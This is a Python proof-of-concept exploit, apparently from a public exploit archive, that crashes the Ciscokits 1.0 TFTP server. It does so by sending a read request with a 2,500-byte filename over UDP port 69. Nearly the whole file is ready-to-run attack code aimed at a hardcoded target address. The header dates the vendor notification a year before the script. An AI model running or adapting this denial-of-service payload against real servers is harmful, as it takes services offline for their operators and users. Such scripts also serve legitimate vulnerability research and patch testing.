30 lines
No EOL
843 B
Python
Executable file
30 lines
No EOL
843 B
Python
Executable file
#!/usr/bin/python
|
|
#Title: Ciscokits 1.0 TFTP Long Filename DoS
|
|
#Author: Craig Freyman (@cd1zz)
|
|
#Date: July 22, 2011
|
|
#Software Link: http://www.certificationkits.com/tftpserver/tftpserver.zip
|
|
#Tested on: Windows XP SP3
|
|
#Vendor notified: July 22, 2010 - Vendor approved release of PoC on July 23, 2010.
|
|
#Notes: When a long file name read request is made the CPU will spike
|
|
#and within about 20 seconds the TFTP service will crash.
|
|
|
|
import socket,sys,time
|
|
|
|
host = '192.168.133.128'
|
|
port = 69
|
|
|
|
try:
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
except:
|
|
print "socket() failed"
|
|
sys.exit(1)
|
|
|
|
crash = "\x41" * 2500
|
|
|
|
mode = "netascii"
|
|
files = "a"
|
|
print "File name READ crash"
|
|
#seems to only work on a READ command = x01
|
|
pwned = "\x00\x01" + crash + "\0" + mode + "\0"
|
|
s.sendto(pwned, (host, port))
|
|
time.sleep(2) |